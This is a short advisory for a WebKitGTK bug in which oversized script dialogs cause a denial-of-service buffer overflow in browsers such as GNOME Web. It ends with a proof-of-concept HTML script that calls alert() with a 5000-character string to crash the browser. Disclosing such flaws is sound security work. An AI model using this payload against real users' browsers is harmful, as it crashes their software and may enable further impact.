    ## Summary:
    The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
    WebKitGTK+ through 2.22.6 and other products, does not prevent the script
    dialog size from exceeding the web view size, which allows remote attackers
    to cause a denial of service (Buffer Overflow) or possibly have unspecified
    other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
    UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
    UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
    Epiphany).
    
    ## PoC:
    <script>
     var a = '';
     for (var i = 1; i <= 5000; i++)
    {
     a += 'A';
    }
     alert(a);
    </script>
